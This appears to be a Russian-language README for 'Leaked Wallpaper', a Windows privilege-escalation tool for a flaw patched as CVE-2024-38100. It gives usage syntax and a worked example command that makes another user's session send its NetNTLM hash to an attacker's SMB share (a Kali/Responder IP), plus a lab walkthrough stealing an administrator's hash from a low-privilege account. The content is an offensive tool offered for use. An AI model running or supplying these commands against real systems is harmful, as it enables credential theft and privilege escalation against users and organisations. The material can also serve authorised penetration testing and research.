Leaked Wallpaper

Это инструмент повышения привилегий (исправлено в CVE-2024-38100 в KB5040434), который позволяет получить NetNTLM-хэш пользователя из любого сеанса на компьютере, даже если мы работаем от непривилегированного пользователя.

Использование

.\LeakedWallpaper.exe <session> \\<KALI IP>\c$\1.jpg [-downgrade]

# Example
  .\LeakedWallpaper.exe 1 \\172.16.0.5\c$\1.jpg -downgrade

Демонстрация

Видео

https://youtu.be/InyrqNeaZfQ

Если блокируется, смотрите demo.mkv

Скриншоты

Представьте, что на хосте есть два сеанса:

• administrator — привилегированная учётная запись, и мы хотим получить её NetNTLM-хэш
• exploit — учётная запись с низкими привилегиями, от которой мы работаем.

ID текущего сеанса: 2 ID целевого сеанса: 1

IP-адрес Responder: 172.16.0.5 IP-адрес Windows: 172.16.0.2

Получим NetNTLM-хэш администратора с помощью инструмента!

.\LeakedWallpaper 1 \\172.16.0.5\c$\1.jpg

Профит!